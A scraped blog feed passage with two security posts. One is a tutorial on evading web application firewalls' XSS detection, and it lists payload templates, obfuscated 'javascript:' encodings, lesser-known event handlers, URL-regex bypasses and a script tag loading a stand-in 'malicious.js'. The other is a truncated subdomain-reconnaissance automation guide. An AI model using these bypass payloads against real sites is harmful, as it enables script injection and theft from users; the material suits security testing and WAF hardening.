https://substackcdn.com/image/fetch/$s_!zk9E!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zk9E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zk9E!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 424w, https://substackcdn.com/image/fetch/$s_!zk9E!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 848w, https://substackcdn.com/image/fetch/$s_!zk9E!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!zk9E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65998cf3-dd66-4828-9de0-580bd6c0e666_748x421.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[[FUN] Bypass XSS Detection WAF]]></title><description><![CDATA[Basically sad life like dog bite, a scary world.]]></description><link>https://www.anhtai.me/p/fun-bypass-xss-detection-waf-cabd431e030e</link><guid isPermaLink="false">https://www.anhtai.me/p/fun-bypass-xss-detection-waf-cabd431e030e</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Sun, 10 Mar 2019 21:44:37 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/4a79a4a7-eb21-43a4-bb6c-c5deddea8543_800x312.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PZXc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PZXc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 424w, https://substackcdn.com/image/fetch/$s_!PZXc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 848w, https://substackcdn.com/image/fetch/$s_!PZXc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!PZXc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PZXc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c8906523-5638-45d6-9364-07098b76010e_800x312.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PZXc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 424w, https://substackcdn.com/image/fetch/$s_!PZXc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 848w, https://substackcdn.com/image/fetch/$s_!PZXc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!PZXc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8906523-5638-45d6-9364-07098b76010e_800x312.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>Basically sad life like dog bite, a scary world.</p><p>A little simple knowledge for everyone.</p><p>This article focuses on WAF&#8217;s ability to bypass the ability to detect Cross Site Scripting (XSS).</p><p>The follow:</p><p>- Determining payload structure: Determining various payload structures for a given context provides a precise idea of the optimal testing approach.</p><p>- Probing: Probing, involves testing various strings against the target&#8217;s security mechanisms.</p><p>- Obfuscation: obfuscation/other tweaks payload if required.</p><p>The returned responses will help us analyze the assumptions about the solution used.</p><h4>I/Introduction</h4><p>Cross-Site Scripting (XSS) attacks are a type of injection. <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29">https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)</a></p><h4>II/HTML</h4><p>Inside Tag:</p><pre><code>&lt;input type="text" value="$input"&gt;</code></pre><p>Outside Tag:</p><pre><code>&lt;span&gt;You entered $input&lt;/span&gt;</code></pre><ul><li><p><strong>Outside Tag: primary character for starting an HTML tag</strong></p></li></ul><p>According to the HTML specification, a tag name must start with an alphabet</p><p>=&gt; the information can be used to determine the Regex match the tag name.</p><pre><code>&lt;dEv - If fails, &lt;[a-zA-Z]+ 
&lt;d3V - If fails, &lt;[a-zA-Z0-9]+ 
&lt;d|3v - If fails, &lt;.+
&lt;svg - If passes, no tag checking is in place
&lt;dev - If fails,&lt;[a-z]+
x&lt;dev - If passes,^&lt;[a-z]+</code></pre><p>Without any of allowed by the security mechanism, it is almost impossible bypass. Such filtering rules are not preferred due to high false positives.</p><p>If unblock, a number payload schemes -&gt; new payload created.</p><p><strong>#1</strong></p><pre><code>&lt;{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{&gt;,//,Space,Tab,LF}</code></pre><p>Once an appropriate {tag} found -&gt; Predictive regular expressions are used to match filler between tag and event handler.</p><pre><code>&lt;tag%0axxx - if fails, [\s\n]+
&lt;tag%0dxxx&gt; - If fails, [\s\n\r+]+
&lt;tag/~/xxx - If fails, .+
&lt;tag xxx - If fails, {space}
&lt;tag%09xxx - if fails, [\s]
&lt;tag%09%09xxx - if fails, \s+
&lt;tag/xxx - If fails, [\s/]+</code></pre><p>Event handling is one of the most important parts of the payload structure.</p><p>Usually it will be combined with a regular Regex</p><pre><code>on\w+</code></pre><p>or blacklist</p><pre><code>on(load|click|error|show)</code></pre><p>The first regular expression is very limited and cannot bypass, while blacklist are often bypass by using lesser known event handlers that may no t in blacklist.</p><pre><code>&lt;tag{filler}onxxx - If fails, on\w+. If passes, on(load|click|error|show)
&lt;tag{filler}onclick - If passes, no event handler checking regular expression is in place</code></pre><p>If the regular expression to be &#8216; on\w+&#8217; this expression cannot bypass because all event handlers start with on =&gt; next payload scheme.</p><p>If the regular expression follows the blacklist, we will find event handlers that are not blacklisted. If all event handlers are blacklisted -&gt; next payload scheme.</p><p>Example:</p><pre><code>onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel</code></pre><p>The testing of fillers to = is similar filler earlier and should be only tested if &#8216;&lt;tag{filler}{event_handler}=d3v&#8217; =&gt; blocked by the security mechanism.</p><p>The next component JavaScript to be executed. This is the part of the payload, but making regular expression assumptions used to match it is not required because JavaScript code is arbitrary and therefore cannot match predefined patterns.</p><p>=&gt; Point in now, all components of the load are put together and payload only needs to be closed</p><pre><code>&lt;payload%0a 
&lt;payload%0d 
&lt;payload%09
&lt;payload&gt;
&lt;payload
&lt;payload{space}
&lt;payload//</code></pre><p>HTML specification allows</p><pre><code>&lt;tag{white space}{anything here}&gt;</code></pre><p>which indicates that an HTML tag such as</p><pre><code>&lt;a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document&gt;</code></pre><p>is valid. This attribute of HTML tags helps an attacker to inject HTML tags in the ways mentioned above.</p><p><strong>#2</strong></p><pre><code>&lt;sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{&gt;,//,Space,Tab,LF}</code></pre><p>Testing similar to the previous payload scheme. That&nbsp;? can be used at the end of the URL (if the filler is not used after the URL) instead of ending the tag.</p><p>Character follows&nbsp;? will be considered part of the URL until &gt; is encountered. With &lt;script&gt; tags, most security rules can be detected.</p><p>&lt;object&gt; tags can be created payload using the same payload scheme:</p><pre><code>&lt;obJecT{filler}data{?filler}={?filler}{url}{?filler}{&gt;,//,Space,Tab,LF}</code></pre><p><strong>#3</strong></p><p>Two variants:</p><ul><li><p>Plain</p></li><li><p>Obfuscatable</p></li></ul><p>Simple variants combined by patterns like</p><pre><code>href[\s]{0,}=[\s]{0,}javascript:.</code></pre><p>Its structure:</p><pre><code>&lt;A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{&gt;,//,Space,Tab,LF}</code></pre><p>Obfuscatable payload variant structure:</p><pre><code>&lt;A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{&gt;,//,Space,Tab,L
F}</code></pre><p>Difference is <strong>{special}</strong> component as well as the <strong>{quote}.</strong></p><p><strong>{special}</strong> ref to an obfuscated version:</p><pre><code>j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:</code></pre><p>In some cases, numeric character encoding can also be used to evade detection. As well as decimal and hexadecimal can be used.</p><pre><code>&amp;#74;avascript&amp;colon;
jav&amp;#x61;&amp;#115;cript:</code></pre><p>Two techniques of obfuscation can be used together if needed</p><pre><code>&amp;#74;ava%0a%0d%09script&amp;colon;</code></pre><h4>Exe and&nbsp;Non</h4><p>Can be divided into Execution and Non-exe based on whether the injected load can be executed without any special assistance. Non-exe occurs when the input gets reflected within a HTML comment</p><pre><code>&lt;--$input--&gt;</code></pre><p>or between the following tags</p><pre><code>&lt;style&gt;
&lt;title&gt;
&lt;noembed&gt;
&lt;template&gt;
&lt;noscript&gt;
&lt;textarea&gt;</code></pre><p>These tags must be closed to execute payload. The only difference between executable and non-exe is the test of {closing tag} component.</p><pre><code>&lt;/tag&gt;
&lt;/tAg/x&gt;
&lt;/tag{space}&gt;
&lt;/tag//&gt;
&lt;/tag%0a&gt;
&lt;/tag%0d&gt;
&lt;/tag%09&gt;</code></pre><p>If closing tag scheme is discovered</p><pre><code>{closing tag}{any payload from executable payload section}</code></pre><p>=&gt; can used for successful injection.</p><p>Inside Tag</p><p>Primary character is the quote used to enclose the attribute value.</p><p>Example: input</p><pre><code>&lt;input value="$input" type="text"&gt;</code></pre><p>-&gt; Primary character &#8220;</p><p>In some cases, primary character is not required to break out.</p><p>Event Handler</p><p>Input reflected as the value of src attribute of script/iframe tag:</p><pre><code>&lt;script src="$input"&gt;</code></pre><p>=&gt; malicious script/web phishing..etc can be loaded directly</p><pre><code>&lt;script src="http://domain.com/malicious.js"&gt;</code></pre><p>Bypass URL Matching Regular Expressions</p><pre><code>//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+</code></pre><p>srcdoc</p><p>Input reflected as the value of srcdoc attribute of iframe tag:</p><pre><code>&lt;iframe srcdoc="$input"&gt;</code></pre><p>an escaped (HTML entities) HTML document can be supplied as the payload</p><pre><code>&lt;iframe srcdoc="&amp;lt;svg/onload=alert()&amp;gt;"&gt;</code></pre><p>Generic Attributes</p><p>All of the above cases do not require any bypassing techniques, except the last case can be omitted using the techniques used in the HTML context.</p><pre><code>&lt;input type="text" value=""/onfocus="alert()$input"&gt;</code></pre><p>We have two categories based on the interactivity of the concerned tag:</p><p><strong>Interactable</strong></p><p>Input reflected in the tags can interact (clicking, hovering, focusing etc.,) only a quote is needed to break out.</p><pre><code>{quote}{filler}{event_handler}{?filler}={?filler}{javascript}</code></pre><p>Checking with WAF blocked using:</p><pre><code>x"y</code></pre><p>Event handler an important role here because this is the only component that possible detected by WAF. Each tag supports some event handlers and is up to the user to search for such cases, but there are some event handlers that can be linked to any of the tags:</p><pre><code>onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart</code></pre><p><strong>Intractable</strong></p><p>Breakout of the tag is required to execute the payload if input reflected within a tag which cannot be interacted.</p><pre><code>{quote}&gt;{any payload scheme from html context section}</code></pre><p>JavaScript</p><p><strong>String Variable</strong></p><p>The most common is reflection within a string variable. This is common because developers usually assign user input to a variable instead of using them directly</p><pre><code>var name = '$input';</code></pre><ul><li><p>{quote}{delimiter}{javascript}{delimiter}{quote}</p></li><li><p>Where delimiter are usually JavaScript operators like ^.</p></li><li><p>If user input in a single quoted string variable:</p></li></ul><pre><code>'%{javascript}%'
'|{javascript}|'
'&lt;{javascript}&lt;'
'&gt;{javascript}&gt;'
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'</code></pre><ul><li><p>{quote}{delimiter}{javascript}//</p></li><li><p>Use a single line comment to comment the rest of the code in line to valid syntax.</p></li></ul><pre><code>'&lt;{javascript}//'
'|{javascript}//'
'^{javascript}//</code></pre><p><strong>BLOCKS</strong></p><p>Example</p><pre><code>if (a &gt; b){
 xnxx_func('');}}alert();if(true){('');
 }</code></pre><p>First <strong>}</strong> close block</p><p>Second <strong>}</strong> dummy func as test</p><p><strong>alert();</strong> dummy function as test</p><p><strong>if(true){</strong> starts an if condition block to syntax valid.</p><p><strong>(&#8216;</strong> combines with remains of function.</p><p>The payload structure depends on the code itself and this uncertainty makes it difficult to detect (can add obfuscated).</p><pre><code>');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a('</code></pre><pre><code>&lt;/scRipT{?filler}&gt;{html xnxx.com}</code></pre><p>can be used to break out and execute payload but easily detected.</p><p>Finally, testing in process hunter bug.</p><pre><code>Name: ModSecurity
Name: Wordfence
Name: Cloudflare
Name: Akamai
Name: Comodo
Name: F5

There are many other firewall providers that I cannot provide publicly.
Sorry I cannot provide payload POC.</code></pre><p><strong><a href="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8" title="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8">Web Application Firewall (WAF) Evasion Techniques</a></strong><a href="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8" title="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8"><br></a><em><a href="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8" title="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8">Edit description</a></em><a href="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8" title="https://medium.com/secjuice/waf-evasion-techniques-718026d693d8">medium.com</a></p><p><strong><a href="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" title="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0">Web Application Firewall (WAF) Evasion Techniques #2</a></strong><a href="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" title="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0"><br></a><em><a href="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" title="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0">Edit description</a></em><a href="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0" title="https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0">medium.com</a></p><p><strong><a href="https://en.wikipedia.org/wiki/Numeric_character_reference" title="https://en.wikipedia.org/wiki/Numeric_character_reference">Numeric character reference - Wikipedia</a></strong><a href="https://en.wikipedia.org/wiki/Numeric_character_reference" title="https://en.wikipedia.org/wiki/Numeric_character_reference"><br></a><em><a href="https://en.wikipedia.org/wiki/Numeric_character_reference" title="https://en.wikipedia.org/wiki/Numeric_character_reference">A numeric character reference ( NCR) is a common markup construct used in SGML and SGML-derived markup languages such&#8230;</a></em><a href="https://en.wikipedia.org/wiki/Numeric_character_reference" title="https://en.wikipedia.org/wiki/Numeric_character_reference">en.wikipedia.org</a></p>]]></content:encoded></item><item><title><![CDATA[Advanced Recon Automation (Subdomains) case 1]]></title><description><![CDATA[The advanced in simple Recon!]]></description><link>https://www.anhtai.me/p/advanced-recon-automation-subdomains-case-1-9ffc4baebf70</link><guid isPermaLink="false">https://www.anhtai.me/p/advanced-recon-automation-subdomains-case-1-9ffc4baebf70</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Mon, 25 Feb 2019 12:44:01 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/9ef10113-3807-4bfe-976d-4b4afb612005_800x468.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZKh4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZKh4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!ZKh4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!ZKh4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!ZKh4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZKh4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZKh4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!ZKh4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!ZKh4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!ZKh4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b5fda32-22dc-45e0-88ca-573f175e593e_800x468.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>The advanced in simple Recon!</p><p>For bug hunter, pentester, OSINTer, hacker =))))</p><p>Why we not create the auto with reconnaissance in a complex world. If really use full/right, we will save many time!</p><p>Eg: Like CORS scan etc.</p><p>You can also get some nice vulnerabilities for which you have done nothing! WTF =)))</p><p>We have to automate everything we can, not to miss it. I give a simple idea like workflow below to sequence problems.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WCgR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WCgR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!WCgR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!WCgR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!WCgR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WCgR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b4820857-b9c1-40a3-92d8-37f095602be1_800x468.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WCgR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 424w, https://substackcdn.com/image/fetch/$s_!WCgR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 848w, https://substackcdn.com/image/fetch/$s_!WCgR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 1272w, https://substackcdn.com/image/fetch/$s_!WCgR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb4820857-b9c1-40a3-92d8-37f095602be1_800x468.png 1456w" sizes="100vw"></picture><div></div></div></a></figure></div><p><strong>1. Go to subdomain gathering</strong></p><p>- Tools using:</p><p>+ <a href="https://github.com/blechschmidt/massdns">Massdns</a></p><p>+ <a href="https://github.com/infosec-au/altdns">Altdns</a></p><p>+ <a href="https://github.com/subfinder/subfinder">Subfinder</a></p><p>We will using custom wordlist subdomain, write script for task.</p><ul><li><p>Bruceforce subdomain with <strong>massdns</strong> + wordlist subdomain</p></li><li><p>After, run <strong>subfinder</strong> to get subdomains from many internet sources.</p></li><li><p>after a moments, run altdns to get some change versions of the subdomains.</p></li><li><p>Final, we can recursion to get levels deep for task get subdomains.</p></li></ul><p>One more:</p><p>- Using massdns resolve list of subdomain generate.</p><pre><code>#!/usr/bin/env bash</code></pre><pre><code>while getopts ":d:" opt; do
  case $opt in
    d)
      domain=$OPTARG
      ;;
  esac
done</code></pre><pre><code>if [[ -z "${domain// }" ]];
then
    echo "* Error fucking. Use -d example.com"
    echo "* Exit!"
    exit 1
fi</code></pre><pre><code>while read -r line
do
    echo "$line.$2" &gt;&gt; $3
done &lt; $1</code></pre><ul><li><p>Arguments:</p></li></ul><p>+ Subdomain wordlist</p><p>+ Domain for generate subdomains</p><p>+ Output file</p><p>Subdomains wordlist:</p><p>+ <a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></p><p>+ <a href="https://github.com/Tim1512/subdomain_scanner/tree/master/wordlist">https://github.com/Tim1512/subdomain_scanner/tree/master/wordlist</a></p><p>+ <a href="https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056">https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056</a></p><p>+ <a href="https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt">https://github.com/assetnote/commonspeak2-wordlists/blob/master/subdomains/subdomains.txt</a></p><p>+ <a href="https://github.com/pentester-io/commonspeak/blob/master/stackoverflow/output/compiled/stackoverflow_2017_10_22.urls_subdomains.txt">https://github.com/pentester-io/commonspeak/blob/master/stackoverflow/output/compiled/stackoverflow_2017_10_22.urls_subdomains.txt</a></p><p>+ <a href="https://github.com/rbsec/dnscan">https://github.com/rbsec/dnscan</a></p><p>Example shell:</p><pre><code>bash subdomains.sh subdomains-wordlist.txt $domain "wordlist.txt"</code></pre><p>Resolve to online:</p><pre><code>massdns -r resolvers.txt -q -t A -o S -w "result-online.txt" "wordlist.txt"</code></pre><p>Filter subdomain output, eliminate miscellaneous things.</p><pre><code>awk -F ". " '{print $1}' "result-online.txt" &gt; "result-filtered.txt" &amp;&amp; mv "wordlist-filtered.txt" "result-online.txt"</code></pre><p>- Gather subdomains from many internet sources. Using <strong>Subfinder</strong></p><pre><code>subfinder -d $domain -nW 